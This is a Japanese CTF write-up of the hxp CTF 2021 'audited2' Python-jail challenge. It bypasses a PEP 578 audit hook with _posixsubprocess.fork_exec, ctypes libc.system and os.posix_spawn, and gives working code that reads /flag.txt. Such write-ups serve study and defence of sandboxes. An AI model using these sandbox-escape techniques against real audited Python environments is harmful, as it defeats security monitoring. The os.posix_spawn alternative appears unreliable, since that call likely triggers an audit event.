pyjail wiki

hxp CTF 2021 - audited2

Challenge

audit hook で監視された環境。

import sys
def audit(event, args):
if 'system' in event or 'subprocess' in event or 'exec' in event:
raise RuntimeError(f"Blocked: {event}")
sys.addaudithook(audit)
code = input()
exec(code)

Solution

_posixsubprocess.fork_exec

audit hook をトリガーしない低レベル関数:

import os
import _posixsubprocess
# パイプを作成して出力を受け取る
r, w = os.pipe()
pid = _posixsubprocess.fork_exec(
[b'/bin/cat', b'/flag.txt'], # args
[b'/bin/cat'], # executable_list
True, # close_fds
(), # pass_fds
'', # cwd (None in newer versions)
{}, # env_list (None in newer versions)
-1, w, -1, # p2cread, c2pwrite, errwrite
-1, -1, # errpipe_read, errpipe_write
False, # restore_signals
False, # call_setsid
-1, -1, -1, # gid, extra_groups, uid
-1, # child_umask
None, # preexec_fn
)
os.close(w)
result = os.read(r, 4096)
print(result.decode())

Technical Details

audit hook の仕組み

PEP 578 で導入された監視機構:

import sys
sys.addaudithook(callback)
# 以降、特定のイベントでコールバックが呼ばれる
# イベント例:
# - 'exec'
# - 'compile'
# - 'os.system'
# - 'subprocess.Popen'
# - 'open'

_posixsubprocess の内部

C 拡張で実装されており、audit イベントを発行しない:

Python/posixsubprocess.c
// fork_exec() は直接 fork() と execve() を呼ぶ
// audit hook のチェックなし

引数の詳細

_posixsubprocess.fork_exec(
args, # コマンドと引数のリスト (bytes)
executable_list, # 実行ファイルのパスリスト (bytes)
close_fds, # 子プロセスで fd をクローズ
pass_fds, # 渡す fd のタプル
cwd, # 作業ディレクトリ
env_list, # 環境変数
p2cread, # 親→子 パイプ読み取り側
c2pwrite, # 子→親 パイプ書き込み側
errwrite, # stderr 書き込み側
errpipe_read, # エラーパイプ読み取り側
errpipe_write, # エラーパイプ書き込み側
restore_signals, # シグナルを復元
call_setsid, # 新しいセッション開始
gid, groups, uid, # プロセス ID
child_umask, # umask
preexec_fn, # 実行前関数
)

Alternative Solutions

別解1: ctypes

import ctypes
libc = ctypes.CDLL(None)
libc.system(b'cat /flag.txt')

別解2: os.posix_spawn

import os
os.posix_spawn('/bin/cat', ['/bin/cat', '/flag.txt'], os.environ)

Flag

hxp{...}

References